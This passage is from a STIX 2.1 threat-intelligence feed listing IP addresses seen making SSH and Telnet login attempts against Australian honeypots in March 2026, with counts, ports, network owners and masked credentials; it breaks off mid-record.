    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--641b4c97-61dc-4a17-ad9c-b4fbcea3df81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.125.164.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--8e4726ec-9691-4bd6-a7b4-7b7534645eb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.255.165.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fa0ed349-90ec-4492-9b72-59804440d9e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.240.156.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2da53215-990c-4ca6-9acd-94a2ad385114",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T03:15:48.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd3d8cb6-8ae7-479c-906a-88e42919091c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T03:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T03:15:48.000Z",
      "valid_until": "2026-04-26T03:15:11.000Z"
    },
    {
      "created": "2026-03-25T04:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd.",
      "id": "indicator--9c090999-a6c5-469b-8d5e-94bb7aadabe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T04:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T04:15:21.000Z",
      "valid_until": "2026-04-26T04:15:12.000Z"
    },
    {
      "created": "2026-03-25T04:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED.",
      "id": "indicator--d9054119-41fa-4115-b342-eb74cb8c57b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T04:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.248.4.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T04:15:21.000Z",
      "valid_until": "2026-04-26T04:15:12.000Z"
    },
    {
      "created": "2026-03-25T04:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--a727ccab-e6ef-4ba7-8d4a-1753327168fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T04:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.0.187.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T04:15:21.000Z",
      "valid_until": "2026-04-26T04:15:12.000Z"
    },
    {
      "created": "2026-03-25T05:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc..",
      "id": "indicator--8fcbae18-55f3-475b-b14c-bdd5e161ced1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.107.248.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T05:15:22.000Z",
      "valid_until": "2026-04-26T05:15:12.000Z"
    },
    {
      "created": "2026-03-25T05:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--60992cad-71b1-4607-a403-316bce431b8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T05:15:22.000Z",
      "valid_until": "2026-04-26T05:15:12.000Z"
    },
    {
      "created": "2026-03-25T05:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--118e8377-bd5d-4a14-ba12-f7c7d13ff21c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.40.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T05:15:22.000Z",
      "valid_until": "2026-04-26T05:15:12.000Z"
    },
    {
      "created": "2026-03-25T07:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): y**g, 3**********4, d****o, h**k, j*****r. Passwords observed (masked): 3***********4, 3**********4, d****o, h**k, j*****r.",
      "id": "indicator--41ff0305-43e3-4842-95bd-f9825a291b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T07:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.173.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:15:22.000Z",
      "valid_until": "2026-04-26T07:15:02.000Z"
    },
    {
      "created": "2026-03-25T07:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--1cb17686-4002-4ec1-96d4-1a6b7977943b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T07:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.104.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:15:22.000Z",
      "valid_until": "2026-04-26T07:15:02.000Z"
    },
    {
      "created": "2026-03-25T07:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*********************************************************************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T07:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T07:15:22.000Z",
      "valid_until": "2026-04-26T07:15:02.000Z"
    },
    {
      "created": "2026-03-25T09:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--013fcc2d-ec73-46bf-893c-fdd7705046e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T09:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '108.52.1.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T09:16:08.000Z",
      "valid_until": "2026-04-26T09:15:02.000Z"
    },
    {
      "created": "2026-03-25T09:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EC. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--7937adcc-7c47-42dc-be7d-b1bb31fb65bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T09:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.234.209.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T09:16:08.000Z",
      "valid_until": "2026-04-26T09:15:02.000Z"
    },
    {
      "created": "2026-03-25T09:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c2184068-c6ef-42bb-91a6-23df06f6c047",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T09:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T09:16:08.000Z",
      "valid_until": "2026-04-26T09:15:02.000Z"
    },
    {
      "created": "2026-03-25T09:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--b202e77f-b509-4a9e-a5d8-ecc4ff90152c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T09:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.97.62.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T09:16:08.000Z",
      "valid_until": "2026-04-26T09:15:02.000Z"
    },
    {
      "created": "2026-03-25T09:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--5a104829-ae9f-439b-93ab-64be4c977951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T09:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.232.101.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T09:16:08.000Z",
      "valid_until": "2026-04-26T09:15:02.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--79a3e75c-7894-4735-8356-d23147c3f9ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '108.254.64.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3313db43-ae0f-4e1f-9f48-b34e46be2411",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--4c0a4259-0eb0-4e9f-8450-c146485d377b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--49ff0146-0b39-41c0-9498-6849c3b12906",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, 3**********4, *, c***s. Passwords observed (masked): ***, 1**4, 1******8, 1********!, 3***********4.",
      "id": "indicator--e2fa9bed-254a-4141-ac11-d25c56fd3b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.116.34.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--fdedb7fb-f410-43b4-a1b0-05967bf2cf81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.134.189.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): r**t, 3**********4, *, ***, c***s. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1******8.",
      "id": "indicator--3a285ebd-7153-4474-aa45-cd5a3997860e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.17.39.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ed50e458-a0a4-4e90-a430-6d22daec7bfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.188.189.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T10:15:09.000Z",
      "valid_until": "2026-04-26T10:15:01.000Z"
    },
    {
      "created": "2026-03-25T11:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272953. Organisation(s): HS NETWORKS SAS.",
      "id": "indicator--9ca461ec-091c-4463-94b6-a81de2c51910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T11:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.216.132.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T11:15:27.000Z",
      "valid_until": "2026-04-26T11:15:12.000Z"
    },
    {
      "created": "2026-03-25T12:16:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131602. Organisation(s): Hsin Yeong An Cable TV Co., Ltd..",
      "id": "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T12:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.105.209.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T12:16:05.000Z",
      "valid_until": "2026-04-26T12:15:01.000Z"
    },
    {
      "created": "2026-03-25T12:16:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--a54f6823-4363-43af-a93b-600fe029d167",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T12:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.53.5.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T12:16:05.000Z",
      "valid_until": "2026-04-26T12:15:01.000Z"
    },
    {
      "created": "2026-03-25T12:16:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--67c25cff-f6e7-499b-9d1d-a5f24b35d488",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T12:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.197.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T12:16:05.000Z",
      "valid_until": "2026-04-26T12:15:01.000Z"
    },
    {
      "created": "2026-03-25T12:16:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--f093b942-80c6-49e0-8b91-2f10cd66ed45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T12:16:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.126.211.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T12:16:05.000Z",
      "valid_until": "2026-04-26T12:15:01.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--f35fe708-ccff-45b6-adc0-58eafb5ccb36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.20.172.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17598. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--90265a92-f455-4360-807a-2a341bdfea6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T13:15:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.86.180.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T13:15:57.000Z",
      "valid_until": "2026-04-26T13:15:02.000Z"
    },
    {
      "created": "2026-03-25T13:15:57.000Z",
